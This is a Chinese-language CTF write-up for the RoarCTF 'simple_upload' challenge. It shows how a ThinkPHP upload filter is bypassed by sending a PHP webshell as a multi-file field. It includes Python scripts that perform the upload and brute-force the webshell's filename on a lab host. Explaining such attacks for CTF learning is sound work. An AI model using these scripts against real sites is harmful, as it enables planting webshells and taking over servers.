复现——RoarCTF-Web-simple_upload

题目是由Think PHP写的,看得出来应该是一个文件上传,同时也对上传的文件后缀做了过滤
复现——RoarCTF-Web-simple_upload_第1张图片
文件上传中upload()函数在不传参的时候是以多文件形式上传的,加上只过滤了后缀名,而且还有一点是think PHP上传的文件是以递增式命名方式保存的,所以可以尝试多文件上传来绕过过滤,即先上传一个正常文件再上传一个木马文件,然后再上传一个正常文件,然后根据第一和第三个正常文件的文件名之间的差异,爆破出我们上传的木马文件
给出上传为文件的脚本(这里我用的是BUUCTF的环境复现)


url = 'http://842715d3-e511-4d6f-b0cd-0f22edb53ce8.node3.buuoj.cn/index.php/Home/Index/upload'
file1 = {'file':open('t.txt','r')}
file2 = {'file[]':open('test.php','r')}

r = requests.post(url,files = file1)
print r.text

r = requests.post(url,files = file2)
print r.text

r = requests.post(url, files = file1)
print r.text

这样我们能拿到我们上传的文件放置的路径
在这里插入图片描述

接下来就是根据前后俩文件名之间的位数差别来爆破木马文件的文件名,可以看到这俩文件名之间是有六位数的差别的,然后就是用脚本去碰撞文件名

import requests
str='0123456789abcdef'
for i in str:
    for j in str:
        for k in str:
            for o in str:
                for p in str:
                    for q in str:
                        url="http://b9f38230-c70d-4110-ba41-a8a1b6b60325.node3.buuoj.cn/Public/Uploads/2019-10-24/5db1a0a"+i+j+k+o+p+q+".php"
                        r=requests.get(url)
                        if r.status_code==200:
                            print url
                            exit()

这样在最后是输出我们上传的木马文件的地址的,但是这六位数基本上等不到它跑出来,所以大概就是这样的思路

你可能感兴趣的:(Writeup)